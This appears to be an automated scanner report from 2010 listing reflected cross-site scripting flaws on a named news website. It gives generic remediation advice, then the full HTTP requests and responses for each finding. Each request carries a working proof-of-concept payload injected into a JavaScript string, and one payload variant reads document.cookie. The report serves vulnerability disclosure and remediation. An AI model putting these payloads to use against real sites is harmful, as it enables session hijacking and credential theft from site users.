Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.ipadnewsdaily.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ipadnewsdaily.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload deab4'-alert(1)-'120983c2d20 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?deab4'-alert(1)-'120983c2d20=1 HTTP/1.1 Host: www.ipadnewsdaily.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 00:53:45 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: Zend Core/2.5.5 PHP/5.2.11 Set-Cookie: a5e04250348ef9239c1cdf4824f43ad1=9uvu4ibjp73m3dagof3ljvhrm2; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Sat, 18 Dec 2010 00:53:46 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32070
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <script type="text/javascript"> <!-- var a ...[SNIP]... <script type="text/javascript"> setTimeout('COMSCORE.beacon({'+ 'c1:2,'+ 'c2:"6035753",'+ 'c3:"6035753",'+ 'c4:"http://www.ipadnewsdaily.com/?deab4'-alert(1)-'120983c2d20=1",'+ 'c5:"Technology - News",'+ 'c6:"",'+ 'c15:""'+ '});',0); </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 558ac'-alert(1)-'f394b4a06a9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /558ac'-alert(1)-'f394b4a06a9 HTTP/1.1 Host: www.ipadnewsdaily.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: a5e04250348ef9239c1cdf4824f43ad1=ej06pt5e1o2aes49locbrs5vn1; __utmz=101118942.1292634051.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/26; __utma=101118942.1554793127.1292634051.1292634051.1292634051.1; reaction_28=1; __utmc=101118942; __utmb=101118942.1.10.1292634051; __qca=P0-738046094-1292634050645;
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:14:09 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: Zend Core/2.5.5 PHP/5.2.11 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Sat, 18 Dec 2010 01:14:09 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32060
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <script type="text/javascript"> <!-- var a ...[SNIP]... <script type="text/javascript"> setTimeout('COMSCORE.beacon({'+ 'c1:2,'+ 'c2:"6035753",'+ 'c3:"6035753",'+ 'c4:"http://www.ipadnewsdaily.com/558ac'-alert(1)-'f394b4a06a9",'+ 'c5:"Technology - News",'+ 'c6:"",'+ 'c15:""'+ '});',0); </script> ...[SNIP]...
1.3. http://www.ipadnewsdaily.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ipadnewsdaily.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27d78'-alert(1)-'dd9e69bc3d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /index.php?27d78'-alert(1)-'dd9e69bc3d2=1 HTTP/1.1 Host: www.ipadnewsdaily.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: a5e04250348ef9239c1cdf4824f43ad1=ej06pt5e1o2aes49locbrs5vn1; __utmz=101118942.1292634051.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/26; __utma=101118942.1554793127.1292634051.1292634051.1292634051.1; reaction_28=1; __utmc=101118942; __utmb=101118942.1.10.1292634051; __qca=P0-738046094-1292634050645;
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:14:04 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: Zend Core/2.5.5 PHP/5.2.11 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Sat, 18 Dec 2010 01:14:04 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32088
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <script type="text/javascript"> <!-- var a ...[SNIP]... <script type="text/javascript"> setTimeout('COMSCORE.beacon({'+ 'c1:2,'+ 'c2:"6035753",'+ 'c3:"6035753",'+ 'c4:"http://www.ipadnewsdaily.com/index.php?27d78'-alert(1)-'dd9e69bc3d2=1",'+ 'c5:"Technology - News",'+ 'c6:"",'+ 'c15:""'+ '});',0); </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 23e49'-alert(1)-'f97f6144378 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /templates/ipadnewsdaily/images/23e49'-alert(1)-'f97f6144378 HTTP/1.1 Host: www.ipadnewsdaily.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: a5e04250348ef9239c1cdf4824f43ad1=ej06pt5e1o2aes49locbrs5vn1; __qca=P0-738046094-1292634050645; __utmz=101118942.1292634051.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/26; __utma=101118942.1554793127.1292634051.1292634051.1292634051.1; __utmc=101118942; __utmb=101118942.1.10.1292634051; reaction_28=1
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:09:52 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: Zend Core/2.5.5 PHP/5.2.11 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" X-Content-Encoded-By: Joomla! 1.5 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Sat, 18 Dec 2010 01:09:52 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32128
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <script type="text/javascript"> <!-- var a ...[SNIP]... <script type="text/javascript"> setTimeout('COMSCORE.beacon({'+ 'c1:2,'+ 'c2:"6035753",'+ 'c3:"6035753",'+ 'c4:"http://www.ipadnewsdaily.com/templates/ipadnewsdaily/images/23e49'-alert(1)-'f97f6144378",'+ 'c5:"Technology - News",'+ 'c6:"",'+ 'c15:""'+ '});',0); </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 37a45'-alert(1)-'7379a2cbeaf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /templates/ipadnewsdaily/images/37a45'-alert(1)-'7379a2cbeaf HTTP/1.1 Host: www.ipadnewsdaily.com Proxy-Connection: keep-alive Referer: http://www.ipadnewsdaily.com/?deab4'-alert(document.cookie)-'120983c2d20=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: a5e04250348ef9239c1cdf4824f43ad1=ej06pt5e1o2aes49locbrs5vn1
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:09:19 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: Zend Core/2.5.5 PHP/5.2.11 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" X-Content-Encoded-By: Joomla! 1.5 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Sat, 18 Dec 2010 01:09:19 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32128
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <script type="text/javascript"> <!-- var a ...[SNIP]... <script type="text/javascript"> setTimeout('COMSCORE.beacon({'+ 'c1:2,'+ 'c2:"6035753",'+ 'c3:"6035753",'+ 'c4:"http://www.ipadnewsdaily.com/templates/ipadnewsdaily/images/37a45'-alert(1)-'7379a2cbeaf",'+ 'c5:"Technology - News",'+ 'c6:"",'+ 'c15:""'+ '});',0); </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3f1e'-alert(1)-'40fafbad9c6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /videoegge3f1e'-alert(1)-'40fafbad9c6/ad.html HTTP/1.1 Host: www.ipadnewsdaily.com Proxy-Connection: keep-alive Referer: http://www.ipadnewsdaily.com/index.php?option=com_ads&format=raw&w=728&ad=106&ord=332793096778914300&zone=home_page&kw=ipad%2Cipad%20tablet%2Cipad%203g%2Cipad%20review%2Cipad%20reviews%2Cipad%20news%2Cipad%20accessories%2Cipad%20apps%2Cipad%20software&sz=&token=a8a1f94d0e0aebfbc90d6bf95954acabbe45a2b7 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: a5e04250348ef9239c1cdf4824f43ad1=ej06pt5e1o2aes49locbrs5vn1; __qca=P0-738046094-1292634050645; __utmz=101118942.1292634051.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/26; __utma=101118942.1554793127.1292634051.1292634051.1292634051.1; __utmc=101118942; __utmb=101118942.1.10.1292634051; reaction_28=1
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:09:28 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: Zend Core/2.5.5 PHP/5.2.11 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" X-Content-Encoded-By: Joomla! 1.5 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Sat, 18 Dec 2010 01:09:28 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32094
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <script type="text/javascript"> <!-- var a ...[SNIP]... <script type="text/javascript"> setTimeout('COMSCORE.beacon({'+ 'c1:2,'+ 'c2:"6035753",'+ 'c3:"6035753",'+ 'c4:"http://www.ipadnewsdaily.com/videoegge3f1e'-alert(1)-'40fafbad9c6/ad.html",'+ 'c5:"Technology - News",'+ 'c6:"",'+ 'c15:""'+ '});',0); </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da705'-alert(1)-'f88b893772b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /videoegg/da705'-alert(1)-'f88b893772b HTTP/1.1 Host: www.ipadnewsdaily.com Proxy-Connection: keep-alive Referer: http://www.ipadnewsdaily.com/index.php?option=com_ads&format=raw&w=728&ad=106&ord=332793096778914300&zone=home_page&kw=ipad%2Cipad%20tablet%2Cipad%203g%2Cipad%20review%2Cipad%20reviews%2Cipad%20news%2Cipad%20accessories%2Cipad%20apps%2Cipad%20software&sz=&token=a8a1f94d0e0aebfbc90d6bf95954acabbe45a2b7 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: a5e04250348ef9239c1cdf4824f43ad1=ej06pt5e1o2aes49locbrs5vn1; __qca=P0-738046094-1292634050645; __utmz=101118942.1292634051.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/26; __utma=101118942.1554793127.1292634051.1292634051.1292634051.1; __utmc=101118942; __utmb=101118942.1.10.1292634051; reaction_28=1
Response
HTTP/1.1 200 OK Date: Sat, 18 Dec 2010 01:09:40 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: Zend Core/2.5.5 PHP/5.2.11 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" X-Content-Encoded-By: Joomla! 1.5 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Sat, 18 Dec 2010 01:09:40 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32080
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <script type="text/javascript"> <!-- var a ...[SNIP]... <script type="text/javascript"> setTimeout('COMSCORE.beacon({'+ 'c1:2,'+ 'c2:"6035753",'+ 'c3:"6035753",'+ 'c4:"http://www.ipadnewsdaily.com/videoegg/da705'-alert(1)-'f88b893772b",'+ 'c5:"Technology - News",'+ 'c6:"",'+ 'c15:""'+ '});',0); </script> ...[SNIP]...
Report generated by XSS.CX at Sat Dec 18 11:09:03 CST 2010.